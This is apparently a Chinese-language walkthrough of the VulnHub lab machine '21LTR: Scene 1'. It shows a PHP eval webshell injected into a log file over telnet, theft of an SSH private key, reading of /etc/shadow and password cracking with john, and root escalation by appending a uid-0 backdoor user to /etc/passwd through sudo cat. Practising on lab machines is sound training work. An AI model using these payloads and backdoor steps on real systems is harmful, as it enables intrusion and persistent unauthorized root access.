【vulnhub】Hack the 21LTR: Scene 1 靶机
信息收集
靶机发现
端口开放了21、22、80
目录扫描
访问页面，查看源码的时候发现了一个账号密码
获取shell
尝试ssh连接没成功，但是ftp连接成功了，ls查看，发现只有一个文件
下载下来
get backup_log.php /home/kali/Desktop/1.php
cat 1.php
尝试拼接到刚才目录扫描的目录的logs目录下，发现可以访问到日志文件/logs/backup_log.php
尝试在日志文件写入木马，参考了一下其他文档，需要利用10001端口
telnet 192.168.2.120 10001<?php @eval($_REQUEST['cmd']);?>
蚁剑连接
蚁剑连接后，可以查看一下敏感文件
因为有ssh服务，就读取一下密钥
/media/USB_1/Stuff/Keys/id_rsa
赋予权限,然后ssh登录
chmod 600 id_rsassh -i id_rsa hbeale@192.168.2.120在~/.ssh目录下添加config
cd ~/.ssh
vim configHost *HostKeyAlgorithms +ssh-rsa要是有这个报错的话（sign_and_send_pubkey: no mutual signature supported）
将一下内容写入config
cd ~/.ssh
vim config
echo "PubkeyAcceptedKeyTypes +ssh-rsa" >> config
连接成功
提权
可以通过cat提权，所以可以看/etc/shadow文件，或者写入文件，选择读取shadow文件，破解密码
然后将root用户的密码写入1.txt，然后开始破解，但是连接的时候，还是连接不上，应该是配置原因，那么只能写入高权限用户了
cd /usr/share/wordlistsvim 1.txt john --wordlist=rockyou.txt 1.txt 
命令生成密码
然后依据/etc/passwd文件的格式写一个aroot用户
sudo /usr/bin/cat >> /etc/passwd
aroot:$1$J1DRKiec$c6CXi9UUFTMKwHS6lk3bI1:0:0:/root:/bin/bash
提权成功
